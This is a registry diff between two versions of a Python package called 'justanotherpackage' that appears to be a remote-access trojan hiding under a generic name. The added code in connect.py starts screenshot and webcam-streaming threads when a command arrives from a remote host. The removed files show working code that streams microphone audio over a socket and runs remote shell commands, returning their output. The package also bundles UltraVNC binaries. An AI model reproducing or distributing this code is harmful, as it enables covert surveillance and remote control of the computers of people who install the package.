justanotherpackage 0.2.0__py3-none-any.whl → 0.2.1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -6,8 +6,10 @@ from wmi import WMI
6
6
  import json
7
7
  import threading
8
8
  from .shell import create_shell
9
- from .audio import start_audio_stream
10
- from .terminal import terminal
9
+ from .features.audio import start_audio_stream
10
+ from .features.terminal import terminal
11
+ from .features.screenshot import send_screenshot
12
+ from .features.webcam import send_webcam_stream
11
13
  from .account_type import check_account_type
12
14
 
13
15
  def get_client_info():
@@ -82,6 +84,16 @@ def start_connection(HOST, PORT):
82
84
  thread.daemon = True
83
85
  thread.start()
84
86
 
87
+ elif data.get("screenshot") is not None:
88
+ thread = threading.Thread(target=send_screenshot, args=(client_socket,))
89
+ thread.daemon = True
90
+ thread.start()
91
+
92
+ elif data.get("webcam") is not None:
93
+ thread = threading.Thread(target=send_webcam_stream, args=(client_socket,))
94
+ thread.daemon = True
95
+ thread.start()
96
+
85
97
  except (socket.error, ConnectionResetError):
86
98
  time.sleep(1)
87
99
  continue
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.2.0
3
+ Version: 0.2.1
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -1,9 +1,7 @@
1
1
  justanotherpackage/__init__.py,sha256=r0rWIFMfaD0Y2XGViT_OZXY4dIk155FtyS0zsWVW7FE,37
2
2
  justanotherpackage/account_type.py,sha256=YH4zvnWs4EmFXjeMGuyNtMf86PeQgY2U22yt2V8TIAo,224
3
- justanotherpackage/audio.py,sha256=_ofvXl3aCmRou_h_V6Dw4HCoAaUP6mXGyRNx7C8YvdM,447
4
- justanotherpackage/connect.py,sha256=6dEk-uo83ozPLyuRsnNsTOsRHnOPuTwNygNU9coNQbc,3112
3
+ justanotherpackage/connect.py,sha256=0p2MG1XxOeSM16guKbHLr9HFLJOTFcJiFeJMnCQP33Q,3692
5
4
  justanotherpackage/shell.py,sha256=LKTdIlJfjL--2ngOsnU3ggDKQCVMdNi2QrCUH4oztR4,845
6
- justanotherpackage/terminal.py,sha256=X7TsYNDuKG_kpGpFKhLI5g35-6wbn9d0k4on-qSix3A,575
7
5
  justanotherpackage/vnc/SecureVNCPlugin.dsm,sha256=-nHLmtiKMdeYEYOtOTmFGTzPnDa_xe51z6KM2l1ONnI,2302408
8
6
  justanotherpackage/vnc/UltraVNC.ini,sha256=gPymSJUXr65PgHPJ-99bdmp7pEsTgdn5PnO14IG8hXU,1409
9
7
  justanotherpackage/vnc/ddengine.dll,sha256=dqoyD-ujCoZePa4ep6FHAvZWz80PpS33sgx1zytD7M8,259016
@@ -13,7 +11,7 @@ justanotherpackage/vnc/winvnc.exe,sha256=P7OO77jbTVK-Qo-syKJCmXqyrVio0ImAp2iMm_C
13
11
  justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll,sha256=_52Pf8LD9dCvr2926H1B_uq_VPrL4m3FlmGniDDzKXI,47744
14
12
  justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf,sha256=9hXCZOGgSloYxiwIyruevo922WSwShERafdskDbyYN0,3890
15
13
  justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat,sha256=EQXgWZOrTqjv1kdf_rggkbphOH4tT1Ma5cYJfpv1MNM,8560
16
- justanotherpackage-0.2.0.dist-info/METADATA,sha256=G14QfBxYJX5E5LG-hs8kI0vgtD9x1plUXOSssGcm-uk,115
17
- justanotherpackage-0.2.0.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
18
- justanotherpackage-0.2.0.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
19
- justanotherpackage-0.2.0.dist-info/RECORD,,
14
+ justanotherpackage-0.2.1.dist-info/METADATA,sha256=IFxtUkjD-0fWFDi33EHnpuNWOwnDIFoMV4nkmFFQq5k,115
15
+ justanotherpackage-0.2.1.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
16
+ justanotherpackage-0.2.1.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
17
+ justanotherpackage-0.2.1.dist-info/RECORD,,
@@ -1,16 +0,0 @@
1
- import pyaudio
2
-
3
- def start_audio_stream(client_socket):
4
- p = pyaudio.PyAudio()
5
- stream = p.open(format=pyaudio.paInt16,
6
- channels=1,
7
- rate=44100,
8
- input=True,
9
- frames_per_buffer=1024)
10
-
11
- while True:
12
- try:
13
- audio_data = stream.read(1024)
14
- client_socket.sendall(audio_data)
15
- except Exception as e:
16
- break
@@ -1,18 +0,0 @@
1
- import time
2
-
3
- def terminal(data, client_socket, shell, stdout_queue, stderr_queue):
4
- command = data["terminal"]
5
-
6
- shell.stdin.write(command + "\n")
7
- shell.stdin.flush()
8
-
9
- time.sleep(0.5)
10
- output = ""
11
-
12
- while not stdout_queue.empty() or not stderr_queue.empty():
13
- while not stdout_queue.empty():
14
- output += stdout_queue.get_nowait()
15
- while not stderr_queue.empty():
16
- output += stderr_queue.get_nowait()
17
-
18
- client_socket.sendall(output.encode('utf-8') if output else b"Command executed successfully.\n")